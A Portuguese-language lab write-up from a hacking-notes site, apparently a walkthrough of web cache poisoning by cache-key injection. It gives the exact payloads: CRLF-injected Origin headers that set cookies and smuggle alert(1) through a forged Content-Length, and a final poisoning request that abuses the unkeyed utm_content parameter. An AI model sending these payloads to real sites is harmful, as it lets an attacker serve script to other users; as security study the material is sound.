> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/injection-into-cache-key.md).

# Injeção na chave do cache

### Injeção na chave do cache

### Injeção na chave do cache

Precisamos combinar várias falhas (incluindo **injeção na chave do cache**) para executar **`alert(1)`** no navegador da vítima. O laboratório exige o uso do cabeçalho **`Pragma: x-get-cache-key`**.

<figure><img src="/files/3feedbb358e12cc3485213a2233150195a8cc1ca" alt=""><figcaption></figcaption></figure>

#### Reconhecimento

1/) Comportamento de login

* Temos um painel de conexão.
* Após o login, somos redirecionados para **`/login/?lang=en`**.
* Em seguida, um cookie de sessão é definido.

<figure><img src="/files/326115185fc061753585a69cbb7e40f7d86d9599" alt=""><figcaption></figcaption></figure>

2/) Reflexão do `lang` parâmetro

* Nossa entrada aparece na resposta por meio de `lang`:
* Exemplo: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="/files/a2c6079228d6145593b3d5121c31b8c6fd64ccc1" alt=""><figcaption></figcaption></figure>

Se colocarmos tags HTML (por exemplo `<h1>`), **ele não é executado**: há codificação HTML\*\*.

<figure><img src="/files/f2ef1205da6311ae39621a4c3c7700f05ff6f7df" alt=""><figcaption></figcaption></figure>

#### Ponto de entrada operacional

Arquivo JS oculto: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Notamos um script em segundo plano:

* **`/js/localize.js?lang=en&CORS=0`**
* Resposta observada:
* `document.cookie = 'lang=en';`

Se alterarmos `lang`, o valor é refletido:

* **`/js/localize.js?lang=hello&CORS=0`** → `olá` aparece na resposta.

<figure><img src="/files/66f33337fa2c4e0e5934b555a6a077fe8fd838d7" alt=""><figcaption></figcaption></figure>

### Observação da chave do cache

Adicionamos:

```http
Pragma: x-get-cache-key
```

E obtemos a chave:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="/files/64b85d405812049a0efa2ff0894b3562d0cdb079" alt=""><figcaption></figcaption></figure>

Descobrimos que `CORS` influencia a chave e que, ao manipular **Origin** + `CORS`, podemos variar o que entra no cache.

<figure><img src="/files/c1bc1d4ec90d01ee2c61c5bbe2f495e32677db35" alt=""><figcaption></figcaption></figure>

### Injeção de cabeçalhos via Back Cart

Usamos injeção CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="/files/14b959e7343869b92e90cc259c8b690b04d43309" alt=""><figcaption></figcaption></figure>

#### 1) Teste: Injeção de cookie

Enviamos:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Resultado: o cookie é corretamente interpretado no lado da resposta.

<figure><img src="/files/349a400b000a7637cd127d97d3a505ca2fa146bc" alt=""><figcaption></figcaption></figure>

#### Injeção de JavaScript por manipulação de `Content-Length`

Em seguida, tentamos injetar conteúdo na resposta com:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

Na resposta, encontramos **`alert(1)`**.

<figure><img src="/files/4e3ff4f2229a7c48801e55e1814fbb167e96c33e" alt=""><figcaption></figcaption></figure>

#### Construir resposta oculta direcionada

Para que o servidor armazene esta versão (com `alert(1)`), a **chave do cache** deve corresponder a um formato que inclua nosso `Origin`, por exemplo:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="/files/f1e5c442e1975828aba75a6a12fbaf95f8fc0267" alt=""><figcaption></figcaption></figure>

#### Deslocamento do lado da vítima por meio de um parâmetro ignorado

Procuramos um parâmetro ignorado pelo cache (encontrado com o Param Miner):

* **`utm_content`**

Reutilizamos a chave do cache e colocamos o payload em `utm_content` para servir o recurso envenenado enquanto visita `lang=en`.

Requisição final (como usamos):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="/files/5ce045732e81d1b2dcf66151adedb3dd2daf1401" alt=""><figcaption></figcaption></figure>

Quando a vítima abre a página em **`/login/?lang=en`** (via redirecionamento), o conteúdo envenenado é servido do cache, e **`alert(1)`** é executado.

<figure><img src="/files/cf52871739a682f36962bf198a51735120314191" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/injection-into-cache-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
